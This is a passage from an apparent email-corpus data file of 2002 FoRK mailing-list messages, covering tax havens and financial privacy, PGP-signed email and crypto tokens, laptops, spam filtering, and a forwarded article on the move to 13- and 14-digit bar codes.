11 Aug 2002 03:33:37 -0400 To: From: ""R. A. Hettinga"" Subject: Re: [dgc.chat] free? Cc: Digital Bearer Settlement List Reply-To: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 3:36 PM +1000 8/11/02, David Hillary wrote: > I think that tax havens such as the Cayman Islands should be ranked > among the freest in the world. No taxes on business or individuals > for a start. Great environment for banking and commerce. Good > protection of property rights. Small non-interventionist > government. Clearly you've never met ""Triumph"", the Fabulous Crotch-Sniffing Caymanian Customs Wonder Dog at extreme close range, or heard the story about the expat's college age kid, actually born on Cayman, who was literally exiled from the island when the island constabulary ""discovered"" a marijuana seed or three in his summer-break rental car a few years back. I mean, his old man was some senior cheese at Global Crossing at the time, but this was back when they could do no wrong. If that's what they did to *his* kid, imagine what some poor former junk-bond-hustler might have to deal with someday for, say, the odd unauthorized Cuban nightlife excursion. A discretely folded twenty keeps the stamp off your passport on the ground in Havana, and a bottle of Maker's Mark goes a long way towards some interesting nocturnal diversion when you get there and all, but still, you can't help thinking that Uncle's going to come a-knockin', and that Cayman van's going to stop rockin' some day, and when it does, it ain't gonna be pretty. Closer to home, conceptually at least, a couple of cryptogeeken were hustled off and strip-searched, on the spot, when they landed on Grand Cayman for the Financial Cryptography conference there a couple of years ago. Like lots of cypherpunks, these guys were active shooters in the Bay Area, and they had stopped in Jamaica, Mon, for a few days on the way to Grand Cayman. Because they, and their stuff, reeked on both counts, they were given complementary colorectal examinations and an entertaining game of 20 questions, or two, courtesy of the Caymanian Federales, after the obligatory fun and games with a then-snarling Crotch-Sniffing Caymanian Wonder Dog. Heck, I had to completely unpack *all* my stuff for a nice, well-fed Caymanian customs lady just to get *out* of the country when I left. Besides, tax havens are being increasingly constrained as to their activities these days, because they cost the larger nation-states too much in the way of ""escaped"" ""revenue"", or at least the perception of same in the local ""free"" press. Obviously, if your money ""there"" isn't exchangeable into your money ""here"", it kind of defeats the purpose of keeping your money ""there"" in the first place, giving folks like FinCEN lots of leverage when financial treaties come up for renegotiation due to changes in technology, like on-line credit-card and securities clearing, or the odd governmental or quango re-org, like they are wont to do increasingly in the EU, and the US. As a result, the veil of secrecy went in Switzerland quite a while ago. The recent holocaust deposit thing was just the bride and groom on that particular wedding-cake, and, as goes Switzerland, so goes Luxembourg, and of course Lichtenstein, which itself is usually accessible only through Switzerland. Finally, of course, the Caymans themselves will cough up depositor lists whenever Uncle comes calling about one thing or another on an increasingly longer list of fishing pretexts. At this point, the ""legal"", state-backed pecuniary privacy pickings are kind of thin on the ground. I mean, I'm not sure I'd like to keep my money in, say, Vanuatu. Would you? Remember, this is a place where a bandana hanging on a string across an otherwise public road will close it down until the local erst-cannibal hunter-gatherer turned statutorily-permanent landowner figures out just what his new or imagined property rights are this afternoon. The point is, any cypherpunk worth his salt will tell you that only solution to financial or any other, privacy, is to make private transactions on the net, cheaper, and more secure, than ""transparent"" transactions currently are in meatspace. Then things get *real* interesting, and financial privacy -- and considerably more personal freedom -- will just be the icing on the wedding cake. Bride and groom action figures sold separately, of course. Cheers, RAH (Who went to FC2K at the Grand Cayman Marriott in February that year. Nice place, I liked Anguilla better though, at least at the time, and I haven't been back to either since. The beaches are certainly better in Anguilla, and the ""private"" banking system there is probably just as porous as Cayman's is, by this point. If I were to pick up and move Somewhere Free outside Your Friendly Neighborhood Unipolar Superpower, New Zealand is somewhere near the top of my list, and Chile would be next, though things change quickly out there in ballistic-missile flyover country. In that vein, who knows, maybe we're in for some kind of latter-day Peloponnesian irony, and *Russia* will end up the freest place on earth someday. Stranger things have happened in the last couple of decades, yes?) -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPVYS48PxH8jf3ohaEQKwtgCgw/XSwzauabEP/8jDvUVk/rgFdroAn0xf Owk90GoK+X5Pv+bGoKXCwzBK =1w9d -----END PGP SIGNATURE----- -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' subscribe: send blank email to dgcchat-join@lists.goldmoney.com unsubscribe: send blank email to dgcchat-leave@lists.goldmoney.com digest: send an email to dgcchat-request@lists.goldmoney.com with ""set yourname@yourdomain.com digest=on"" in the message body --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 bitbitch@magnesium.net,Eugen Leitl ,"Sun, 11 Aug 2002 14:41:09 -0400",Re[2]: Forged whitelist spam,"Hello Eugen, EL> I believe I mentioned users can't be bothered to enter passphrases. That's EL> what tokens are there for. At some point we can expect a convenient USB EL> port on the keyboard, You mean like on mac keyboards :-) Or laptops (which are as damn near close to keyboard/usb connection as one can get, without the real thing) Sorry, couldn't help myself. -- Best regards, bitbitch mailto:bitbitch@magnesium.net http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Russell Turpin ,"Sun, 11 Aug 2002 20:27:18 +0200 (CEST)",Re: Forged whitelist spam,"On Sun, 11 Aug 2002, Russell Turpin wrote: > If you have a rogue app on your machine, what keeps it from sniffing > your passphrase? This is one of the reasons I keep harping on the need As long as the OS doesn't give you a convenient GetPassPhrase() method that threat model is theoretical. Worms are autonomous, and autonomous worms are not that smart. However, that's the reason I mentioned crypto hardware (USB fobs, smart cards, etc). > for thin, secure clients. While this is a good idea, the concept of security is holistic. It involves a secure OS, secure apps, and crypto hardware. > When I read email, I want to respond to email, which means, were I > using a digital signature, that it needs to be at the ready. I believe I mentioned users can't be bothered to enter passphrases. That's what tokens are there for. At some point we can expect a convenient USB port on the keyboard, or the video device front. Meanwhile, my Net PC server sitting by the CRT with front USB ports will do. http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,,"Sun, 11 Aug 2002 20:54:10 +0200 (CEST)",Re[2]: Forged whitelist spam,"On Sun, 11 Aug 2002 bitbitch@magnesium.net wrote: > You mean like on mac keyboards :-) Or laptops (which are as damn Yeah, I was thinking of the G4 keyboard when I wrote this. Otherwise lousy feel and key placement, though. (That's why I'm holding on to my IBM Model M Space Saver. Once I get an PS2 to USB converter, I expect it will outlive several generations of computer hardware). Very good for sticking in USB fobs into, though. CRTs/LCD panels are even better for that, though. > near close to keyboard/usb connection as one can get, without the real > thing) I think laptops are largely useless because of the battery and the keyboard issue. http://xent.com/mailman/listinfo/fork",0,1 bitbitch@magnesium.net,Eugen Leitl ,"Sun, 11 Aug 2002 15:20:42 -0400",Re[3]: Forged whitelist spam,"Hello Eugen, Sunday, August 11, 2002, 2:54:10 PM, you wrote: EL> On Sun, 11 Aug 2002 bitbitch@magnesium.net wrote: >> You mean like on mac keyboards :-) Or laptops (which are as damn EL> Yeah, I was thinking of the G4 keyboard when I wrote this. Otherwise lousy EL> feel and key placement, though. (That's why I'm holding on to my IBM Model EL> M Space Saver. Once I get an PS2 to USB converter, I expect it will EL> outlive several generations of computer hardware). EL> Very good for sticking in USB fobs into, though. CRTs/LCD panels are even EL> better for that, though. >> near close to keyboard/usb connection as one can get, without the real >> thing) EL> I think laptops are largely useless because of the battery and the EL> keyboard issue. EL> http://xent.com/mailman/listinfo/fork Dunno.. Some of the new Sonys (I'm hunting again for a lappy, as the Toshiba I have is a large piece of cow manure) which promise a 4 hour battery life off of ONE battery are pretty damn impressive. As far as the keyboard issue, the Toshiba actually came out with a good keyboard, nearly equivalent to most standard keyboards (Not ergonomic, alas, but I have a USB happy ergo keyboard I can always plug in if I get restless). I can't imagine surviving at Law school without a lappy, but thats just me. then again, I don't know what you do with your laptops, Gene :) -- Best regards, bitbitch mailto:bitbitch@magnesium.net http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Gordon Mohr ,"Sun, 11 Aug 2002 23:10:25 +0200 (CEST)",Re: Forged whitelist spam,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sun, 11 Aug 2002, Gordon Mohr wrote: > > Users don't like entering passphrases when sending email. USB fobs, smart > > cards or other removable hardware are not yet widespread. > > Bad assumption. Not really. If code can sign stuff without me being aware of it that pretty much invalidates the (already tenuous, since it assumes me trusting the contents of the frame buffer) concept of a digital signature. A secure piece of hardware puts the keyring outside of any code's reach. The key never leaves the hardware compartment. I have to mechanically acknowledge a signing process. The cryto fob then falls back to the default state: locked. > A reasonable UI would have me enter my passphrase *at most* each > time I launch my mail program -- never more than once per day, > sometimes once per week. I'm pretty comfortable with entering my passphrase every time. This is not production key, as I usually access my home box via a SSH session, and SSH sessions are easily attackable with a model of your typing pattern. So don't expect me to announce my plutonium shipments via this medium. > For some of myy workstations, I'd even be happy with the necessary > signing key being cached on disk, so signing is automatic when I > hit 'send'. > > If spammer code can read my local hard disk, I have bigger problems > than spoofed spam. I agree. Nevertheless, a number of people who use cryptography have their machines compromised. - -- Eugen* Leitl leitl ______________________________________________________________ ICBMTO: N48 04'14.8'' E11 36'41.2'' http://leitl.org 83E5CA02: EDE4 7193 0833 A96B 07A7 1A88 AA58 0E89 83E5 CA02 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9VtLFqlgOiYPlygIRAlRGAJ9MbPmjQESIqXD0g43aVgsLFcESSQCePf8x smDzFndB40MbQMv0l3yzMoY= =acss -----END PGP SIGNATURE----- http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ","""fork"" ","Sun, 11 Aug 2002 13:57:15 -0700",Re: Forged whitelist spam,"Eugen Leitl writes: > On Sun, 11 Aug 2002, Gordon Mohr wrote: > > > If you crypto-sign your outgoing mail, you don't have to set your > > mailwall whitelist to accept unsigned mail spoofed as being from you. > > Users don't like entering passphrases when sending email. USB fobs, smart > cards or other removable hardware are not yet widespread. Bad assumption. A reasonable UI would have me enter my passphrase *at most* each time I launch my mail program -- never more than once per day, sometimes once per week. For some of myy workstations, I'd even be happy with the necessary signing key being cached on disk, so signing is automatic when I hit 'send'. If spammer code can read my local hard disk, I have bigger problems than spoofed spam. - Gordon http://xent.com/mailman/listinfo/fork",0,1 Dan Brickley ,Gordon Mohr ,"Sun, 11 Aug 2002 23:15:58 +0000",Re: Forged whitelist spam,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Gordon Mohr wrote: > Eugen Leitl writes: > >>On Sun, 11 Aug 2002, Gordon Mohr wrote: >> >>>If you crypto-sign your outgoing mail, you don't have to set your >>>mailwall whitelist to accept unsigned mail spoofed as being from you. Yup, I've been meaning to cobble together procmail + script for this, as a few Google searches didn't turn up anything. Did anyone here get there first? (I guess I want a config file of mailboxes who normally sign their mail, and procmail that runs gpg and adds headers...) >>Users don't like entering passphrases when sending email. USB fobs, smart >>cards or other removable hardware are not yet widespread. > > Bad assumption. > > A reasonable UI would have me enter my passphrase *at most* each > time I launch my mail program -- never more than once per day, > sometimes once per week. FWIW, the 'Enigmail' add-on for Mozilla's mail client has it happily talking to GPG (and I believe PGP). You can choose how long it remembers your passphrase for, default is 15 mins. see http://enigmail.mozdev.org/ This feature was enough to get my off my Pine habit, since (to answer the original question) the combination of SpamAssassin and shared whitelists means that forged 'From:' headers are pretty much the only spam I see in my inbox now. Dan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQE9VvAyPhXvL3Mij+QRAkDdAJ4m/LO7Y0aki66H5AIwbmsX8Q/PegCfSQgI ZW2XmlcnQtrzALPimthvlr8= =wdf/ -----END PGP SIGNATURE----- http://xent.com/mailman/listinfo/fork",0,1 """Bill Kearney"" ",,"Mon, 12 Aug 2002 01:13:04 -0400",Re: Forged whitelist spam,"> > You mean like on mac keyboards :-) Or any of the Microsoft USB keyboards. I've an MS Internet Pro unit with two ports off it's hub. I've considered using the 64mb flash unit in one of them as storage for keys. Unfortunately the KVM switching would drive the client programs crazy when switching between the machines. -Bill Kearney http://xent.com/mailman/listinfo/fork",0,1 Steve Nordquist ,fork@spamassassin.taint.org,"Sun, 11 Aug 2002 23:34:48 -0600",Re: Re[3]: Forged whitelist spam,"&> EL> Yeah, I was thinking of the G4 keyboard when I wrote this. Otherwise ousy &> EL> feel and key placement, though. (That's why I'm holding on to &> EL> My IBM Model M Space Saver. Once I get an PS2 to USB converter, I &> EL> expect it will outlive several generations of computer hardware). The Fingerworks dvorty ergo keyboards are pretty good for that; unfold, plug the USB port and go, but you don't get the angle unless you put the castiron (sort of) bracket (and optional gel palm-rests) in your pack. Big airport fun there. The flexi-PCB connecting the halves is probably only good for 100,000 flexes too. (The keyboard is $200-400, hence minor concern.) Kind of useless for keysigning though; is it not law that when you have to sign, you will be packed and ready to leave/arrive elsewhere? Thats why F-u-F-mi is such a handy accessible proxy signing method and Dragon Naturally Authorized canceled its IPO. Seriously, the nifty Palm thing where you enter your password and (or by) a series of naturally cryptic buttonpressed and screentaps is a good method. Keyed steganography (<---bad term! sorry) is it until I hear more about spoofed braille. [the below digresses to laptopianism] &> EL> Very good for sticking in USB fobs into, though. CRTs/LCD panels are even &> EL> better for that, though. The DPMS connector is supposed to do -what- again? &> >> near close to keyboard/usb connection as one can get, without the real &> >> thing) &> EL> I think laptops are largely useless because of the battery and the &> EL> keyboard issue. Once you get something to cut the backlight power low when not needed for image proofing (or off, in case of FLCD) and cache CDs as virtual devices, is battery life still bad? &> Dunno.. Some of the new Sonys (I'm hunting again for a lappy, as the &> Toshiba I have is a large piece of cow manure) which promise a 4 hour &> battery life off of ONE battery are pretty damn impressive. As far as &> the keyboard issue, the Toshiba actually came out with a good &> keyboard, nearly equivalent to most standard keyboards (Not ergonomic, &> alas, but I have a USB happy ergo keyboard I can always plug in if I &> get restless). I can't imagine surviving at Law school without a &> lappy, but thats just me. Once used to being surrounded by lawyers with webcams, I cant imagine being flummoxed dealing with courts. Lots of the tabletPCs have daylight readable FLCDs. (From looking at http://www.infocater.com I don't know where you'll get Microsoft Tablet OS though.) An item from their handy pres. below. So after looking at Transmetazone, tell me where (also) stateside I'm supposed to be\ shopping for the new Made-for-Japan laptops? The Sony U series is all Crusoe, but then TigerDirect will be all grins to sell you a lappad that gets you to 10h on a P4m...maybe a P4, who's to say Tulatin P4s can't do that massive multithreading trick. (Besides which, a brown cowpie-colored Dell 8200 with a GeForce4Go400-32 is ca. $1550, before you buy car adapters and firewire drives. Popular in OpenGL law school.) Revamping the Sony C1 every year strikes me as a cruel joke though, and I don't know any tricks for using 1400x2800 virtual screens on the lovely NEC LaVie MX and Versa Daylite (FLCDs, 1 yr old) or Toshiba Libretto L5/080 knkw (the KW has 802.11b built in, maybe not as good as the 22MBps version or .a) &> then again, I don't know what you do with your laptops, Gene :) ----8< ---ancillary.bar: disclaimer: Before the dollar fell below the euro. Return-Path: Dear Steve, Thank you for your inquiry regarding the Tablet PC's. InfoCater is a Tablet Computer Value Added Reseller and Systems Integrator that specializes in wireless tablet computers. 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The I/O ports, LCD panel and internal circuitries of the MPC-100 have been designed to resist spill and water damage. The product is dust-resistant with protected LCD, sealed ports and card slots for protection against unexpected accidents and damages. These features have been approved by the IP53 standard. The I/O ports, LCD panel and internal circuitries of the MPC-100 have been designed to resist spill and water damage. The product is dust-resistant with protected LCD, sealed ports and card slots for protection against unexpected accidents and damages. These features have been approved by the IP53 standard. http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,,11 Aug 2002 21:03:06 -0400,Re: Spam spam spam,">>>>> ""D"" == Damien Morton writes: D> An alternative, which I have found very effective in reducing D> my spam levels, is to reject emails to multiple or undisclosed D> recipients, unless from someone in my whitelist (In this case, D> subscribed members). I often use just such a posting to send emails to lists but also to send them to private individuals who need not be publically exposed on the list. This is what BCC is for. Where my spam filter draws the line is for emails which /only/ have undisclosed recipients, or an obviously bogus recipient. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Mon, 12 Aug 2002 10:34:26 -0700",RE: David Friedman: Mail Me the Money!,"The case against theft also acknowledges that the value to the thief is often far less than the value to the victim. Stealing my $1,000 sterio and then fencing it for $50 does not result in 'no loss' the the economy overall. For the same reason that voluntary transactions increase social value, involuntary ones decrease it. If the sterio was worth as much to the theif as it was to me he'd buy it ... On the flip side of this, common law allows a breach of property law in precisely the type of scenarios where a net social gain is recorded but the owner's availability to make a contract was problematic. Breaking into your isolated cabin because I'm starving, for example, is permissible if I later offer restitution for the damage I caused and the food I ate. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > Russell Turpin > Sent: Saturday, August 10, 2002 6:25 AM > To: fork@spamassassin.taint.org > Subject: Re: David Friedman: Mail Me the Money! > > R. A. Hettinga: > >..which reminds me of my favorite David Friedman quote. ""The direct use > of > >physical force is so poor a solution to the problem of limited resources > >that it is commonly employed only by small children and great nations."" > > Is that relevent here? The spam problem, like > the fraud and the robbery problem, is about people > who will do whatever it takes to make a buck, no > matter how much harm they do to others in the > process. > > From an economist's viewpoint, the downside of > theft is not that it transfers property from one > person to another, which is no loss to the economy > overall, but that defending against it is an > additional expense simply to enjoy what you > have already acquired. http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Mon, 12 Aug 2002 14:33:02 -0700",RE: David Friedman: Mail Me the Money!,"As a practical matter, I doubt the value sold in such situations ever adds up to the value lost. And the non-pecuiary since of violation, loss, and trouble has to get in there somewhere if we are really picky. I don't think considering marginal utility of dollars has value in this situation. We aren't debating whether the thief is better off -- he is. I'm not a lawyer either. I played one on TV once but I didn't play a very good one and they canceled it after the first episode ... The situtation I described came from my recollection of Epstein's 'Takings'. He was specifically rejecting the idea of absolute property right found in Liberation theology and was using the idea -- that in an emergency where my life depends upon it I'm entitled to violate your property rights and (more) you are forbidden from using unreasonable force to defend them (particularly if you aren't around). Maybe I did get it all wrong, but that particular recollection is relatively strong precisely because it gave a good reason why my libertarian theology needed to be modified. He was also analyzing what the common law had come up with, which might not be the statuatory law in a particular jurisdiction. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > Russell Turpin > Sent: Monday, August 12, 2002 2:15 PM > To: fork@spamassassin.taint.org > Subject: RE: David Friedman: Mail Me the Money! > > John Hall: > >The case against theft also acknowledges that the value to the thief is > >often far less than the value to the victim. Stealing my $1,000 stereo > and > >then fencing it for $50 does not result in 'no loss' to the economy > >overall. .. > > That depends on the value placed on it by the fellow > who buys it from the pawn shop. And if you take > into account the marginal utility of dollars, the > thief may value his lucre more than his victim. > > >On the flip side of this, common law allows a breach of property law in > >precisely the type of scenarios where a net social gain is recorded but > >the owner's availability to make a contract was problematic. Breaking > into > >your isolated cabin because I'm starving, for example, is permissible if > I > >later offer restitution for the damage I caused and the food I ate. > > I am not a lawyer, but I think this is an incorrect > analysis of what the law allows in emergencies. I > can break into your cabin, take your rifle, grab a > box of your ammo, and shoot the bear that is mauling > a poor hiker, without having committed the crimes of > breaking and entering, theft, hunting out of season, > and killing an endangered species, whether or not I > later offer to pay for your window and ammunition. > The law simply puts a higher priority on saving > human life in emergency than on these other things. > > Now yes, you can turn around and sue me for > recompense. But that is a civil issue, not a > criminal one. Crime requires mens rea. And when I > shot the bear, I wasn't thinking about who owned > the bullet. > > > > _________________________________________________________________ > MSN Photos is the easiest way to share and print your photos: > http://photos.msn.com/support/worldwide.aspx > > http://xent.com/mailman/listinfo/fork http://xent.com/mailman/listinfo/fork",0,1 khare@alumni.caltech.edu,fork@spamassassin.taint.org,"Mon, 12 Aug 2002 23:09:04 -0400 (EDT)",NYTimes.com Article: Bigger Bar Code Inches Up on Retailers,"This article from NYTimes.com has been sent to you by khare@alumni.caltech.edu. Let's see... a decimal digit is about 3.33 bits, so this is all about moving from a 36-bit to a 46-bit addressing system. Kind of makes the debate about IPv6 spaces quite real, as well as the Auto-ID center at MIT's proposal for a physical markup language. Actual barcode size may yet decline to the point that 2-D codes may yet make it an individual-item level of addressing. Seeing software systems this fantastically brittle after fifty years is not, unfortunately, surprising. Are we sure we really know better yet? Are angle brackets really the key to immortality? :-> Interesting reinforcement of the Voyager piece I archived earlier today... RK khare@alumni.caltech.edu Bigger Bar Code Inches Up on Retailers August 12, 2002 By KATE MURPHY In a little more than two years, retailers in the United States and Canada will face a deadline that promises technological challenges akin to the Year 2000 computer problem. Starting Jan. 1, 2005, the 12-digit bar codes retailers use to identify everything from cars to candy bars will go to 13 digits. The additional number (and associated bars and spaces) is enough to make checkout scanners seize up and make computers crash, perhaps disrupting entire supply chains. But many retailers have yet to focus on a problem that will require significant investments in time and capital. ""Most retailers are public companies that tend to live quarterly and not look ahead, which means they are going to be hit over the head with this and have to scramble at the last minute to avert disaster,"" said Thomas Friedman, president of Retail Systems Research Services, a company in Newton, Mass., that publishes a retail information technology newsletter. Leading retailers say they have begun to address the issue. A spokesman for Wal-Mart Stores, the world's largest retailer, said the company had ""embraced the concept"" of an expanded bar code, but he did not respond to questions about actual measures taken to prepare computer databases and logistical systems. Similarly, a spokesman for the Target Corporation said his company was ""intellectually ready"" for the change but refused to comment on whether any of its stores or warehouses were technologically ready. But Richard A. Galanti, the chief financial officer of Costco Wholesale, admitted, ""The truth is, given the timeline, everybody's still in the assessment phase, trying to figure out what to do."" The difficulty is similar to the one posed by the Year 2000 computer problem, when computer software had to be switched from two-digit entries identifying years to four-digit entries. Before Jan. 1, 2000, millions of lines of code had to be rewritten to avoid widespread computer failures. Bar codes have been used in packaging since 1974, when the first item, a pack of chewing gum, was scanned at a supermarket in Ohio. The codes identify a product, distinguishing between an eight-ounce can of Del Monte creamed corn and a medium-size pair of Hanes boxer shorts. When a bar code is scanned, the information in the store's database lets the retailer assign a price and track sales and inventory. ""The bar code is the linchpin upon which everything in retail depends,"" Mr. Friedman said. The reason for expanding the 12-digit bar code, known as the Universal Product Code, is twofold. First, there is a shortage of U.P.C. numbers. ""There's only a certain amount of 12-digit numbers, and we're going to run out,"" said John Terwilliger, vice president of global markets at the Universal Code Council, a nonprofit organization based in Lawrenceville, N.J., that assigns codes in the United States and Canada. Second, 13-digit bar codes are used almost everywhere else in the world. The council's European counterpart, EAN International, based in Brussels, assigns these numbers, called European Article Numbers, to companies in 99 nations. ""Right now,"" Mr. Terwilliger said, ""foreign importers have to get a 12-digit U.P.C. to do business over here, which they haven't been too happy about."" Foreign manufacturers currently pass on to consumers the cost of getting an additional bar code and creating special labels for products sold in the United States and Canada. ""It's an added expense for them, and they have to recoup it somewhere,"" said Debra Shimkus, marketing manager at the Chicago Importing Company, a specialty food importer whose overseas suppliers are often incredulous when they are told they have to get new bar codes for their products before they can be sold in American groceries. Many foreign manufacturers decide that it is not worth the trouble. ""A lot of companies have been unwilling to accept the additional burden,"" Mr. Terwilliger said, ""and have stayed out of the market entirely."" American and Canadian exporters have not had the same obstacle because foreign retailers can easily incorporate a 12-digit number into their 13-digit databases by making the first digit zero. That is why American and Canadian manufacturers of products that now have 12-digit codes will not be affected by the code expansion. A two-liter bottle of Coca-Cola, for example, will keep the same U.P.C., but a zero will be added to the beginning of its bar-code number in retailers' product databases. ""The effect of the change in the U.P.C. code falls squarely on retailers,"" said Mr. Friedman. He estimates that the upgrade will cost at least $2 million for a chain of 100 stores with 10 checkout lanes a store. The expense will vary depending on the age of a retailer's databases, software and hardware and whether it has to hire outside consultants to make the change. Scanners and other hardware bought more than three years ago will not read longer codes and will have to be replaced. Software more than five years old will also have to be scrapped. ""Thank God we'd already planned to buy new equipment for a lot of stores this year,"" said Richard S. Gilbert, director of store systems at Duane Reade, a chain of 200 drugstores in New York City. The stores have a total of 3,500 scanning devices, each costing $1,000 to $2,500. As for the cumbersome database modifications that need to be made, Mr. Gilbert said: ""Our consultants say they are working on it, but they haven't gotten back to me with a plan. I still don't know how big a deal it's all going to be."" He might want to ask John Poss. Mr. Poss is the merchandising coordinator for Ace Hardware, which has 5,100 stores and sells some 65,000 coded products. Ace overhauled its computer systems to accept longer bar codes in 1999. The company, based in Oak Brook, Ill., has retail outlets in 70 countries and more than a hundred foreign suppliers. ""It was such a struggle to get manufacturers to relabel things for North America,"" Mr. Poss said, ""and we wanted the same system in place globally, so we decided to make the change."" The company hired a consultant, Cognizant Technology Solutions, which is based in Teaneck, N.J., and is a division of Dun & Bradstreet. Ace's in-house team worked on the project during the day while a Cognizant office in India took over at night. Even so, the project took almost two years to plan and carry out. In addition to equipment upgrades, modifications had to be made in more than 500 software programs in various company divisions (50 in distribution alone). The most tedious and time-consuming part of the conversion, Mr. Poss said, was making adjustments to databases. ""Every database in every division touches bar code information, and they all needed to be reworked,"" he said. ""It's like Y2K, where you had to go in and expand fields and find every reference to the date."" Though Mr. Poss would not disclose the cost of the project, he said the gains in efficiency and in suppliers' good will had been ""well worth the expense."" His advice to other retailers is to ""get busy because you're facing an extreme challenge."" But moving to 13 digits may not be enough. The Universal Code Council and EAN International, which formed an alliance in 1996, strongly advise manufacturers and retailers to go a step further and prepare their systems to accommodate a 14-digit code. That is the length of a newly patented bar code that takes up less space. Its reduced size means that it can be affixed to small items like loose produce, and the extra digits let a retailer keep track of additional data like batch and lot numbers. That additional information would make product recalls easier. ""Today,"" Mr. Terwilliger said, ""once a product is taken out of the shipping container in the warehouse, you really can't track it anymore."" Shipping container bar codes are already 14 digits. The different bar-code standards mean that retailers need different computer systems for shipping and receiving, inventory and sales. By adopting a 14-digit standard, retailers should be able to put all the information into a single database. Mr. Poss said Ace had added the capacity to scan and store 14 digits when it made its conversion three years ago. ""Now we can scan anything,"" he said, ""whether it's in the warehouse or at the register, and it immediately goes in to a centralized system. No more sending data between divisions."" The cost and work of making the transition to 14 digits, he said, was the same as it would have been for a change to 13 digits. Representatives from the standards groups said adopting a 14-digit structure - a step for which no date has been set - could help streamline the sharing of data among all parts of a retail operation. It would also make it possible, they said, to identify products anywhere in the world at any time during the trade process. ""And to think it all started with pack of gum,"" Mr. Poss said. http://www.nytimes.com/2002/08/12/technology/12CODE.html?ex=1030208144&ei=1&en=1b5705e7bd2048e6 HOW TO ADVERTISE --------------------------------- For information on advertising in e-mail newsletters or other creative advertising opportunities with The New York Times on the Web, please contact onlinesales@nytimes.com or visit our online media kit at http://www.nytimes.com/adinfo For general information about NYTimes.com, write to help@nytimes.com. Copyright 2002 The New York Times Company http://xent.com/mailman/listinfo/fork",0,1 """Gordon Mohr"" ",,"Mon, 12 Aug 2002 21:29:33 -0700",Re: NYTimes.com Article: Bigger Bar Code Inches Up on Retailers,"Rohit forwards from the NYT: > Bigger Bar Code Inches Up on Retailers > August 12, 2002 > By KATE MURPHY I can't imagine why they're inching forward through 13- and then 14- digit extensions; seems they should just leap ahead to something with real headroom, say 40-digit numbers (128 bits or more). How hard can it be to widen the glyph area and narrow the bars? The sensors have got to be tens or even hundreds of times more accurate/robust than when barcodes first took off. One segment of the article along these lines: > But moving to 13 digits may not be enough. The Universal > Code Council and EAN International, which formed an > alliance in 1996, strongly advise manufacturers and > retailers to go a step further and prepare their systems to > accommodate a 14-digit code. That is the length of a newly > patented bar code that takes up less space. Its reduced > size means that it can be affixed to small items like loose > produce, and the extra digits let a retailer keep track of > additional data like batch and lot numbers. A newly *patented* bar code, that merely fits 14 digits into less space? I sure hope there's more to this ""invention"" than ""more lines, and narrower"". They might as well go 2-D to fit in lots of extra bits, which could also ease the transition to the capacity radio-transponder tags may offer. A bunch of info on different barcode standards, including 2-D variants, with examples is at: http://www.makebarcode.com/specs/speclist.html Something very much like a 2-D barcode is Xerox ""Dataglyphs"": http://www.parc.com/solutions/dataglyphs/ - Gordon ____________________ Gordon Mohr Bitzi CTO . . . describe and discover files of every kind. _ http://bitzi.com _ . . . Bitzi knows bits -- because you teach it! http://xent.com/mailman/listinfo/fork",0,1 """Damien Morton"" ",,"Tue, 13 Aug 2002 00:56:43 -0400",NYTimes.com Article: Bigger Bar Code Inches Up on Retailers,"How about a highly error corrected atomic level 3D encoding scheme that relies on shape, colour and chemical make up to uniquely identify every object in the universe. Objects uniquely identify themselves - theres no need for barcodes. http://xent.com/mailman/listinfo/fork",0,1 Rohit Khare ,Damien Morton ,"Mon, 12 Aug 2002 23:22:25 -0700",Re: NYTimes.com Article: Bigger Bar Code Inches Up on Retailers,"Sure, the *object* of a particular head of lettuce may be unique, but we're not tracking lettuce heads -- we're tracking the *idea* of a lettuce head in a capitalist system, an ownership relation. Besides, in the worst case, these damn object ID's aren't very compressible. Best representation of a unique head of lettuce I can think of is... that very head of lettuce. Of course, an accumulator is much easier to write, since the Pauli Exclusion Principle guarantees that adding a head of lettuce to a bin is an _atomic operation_ :-) Rohit On Monday, August 12, 2002, at 09:56 PM, Damien Morton wrote: > > How about a highly error corrected atomic level 3D encoding scheme that > relies on shape, colour and chemical make up to uniquely identify every > object in the universe. > > Objects uniquely identify themselves - theres no need for barcodes. > > > http://xent.com/mailman/listinfo/fork > --- My permanent email address is khare@alumni.caltech.edu http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Tue, 13 Aug 2002 10:53:57 +0000",Re: NYTimes.com Article: Bigger Bar Code Inches Up on Retailers,"Gojomo: >How about a highly error corrected atomic level 3D encoding scheme that >relies on shape, colour and chemical make up to uniquely identify every >object in the universe. Objects uniquely identify themselves - theres no >need for barcodes. That might work easily enough for reasonably rigid solids that can be positioned and fingerprinted. I think it would be more difficult for other items. Like a sweater. The exact pattern of threads is never quite the same, with the loose weave and 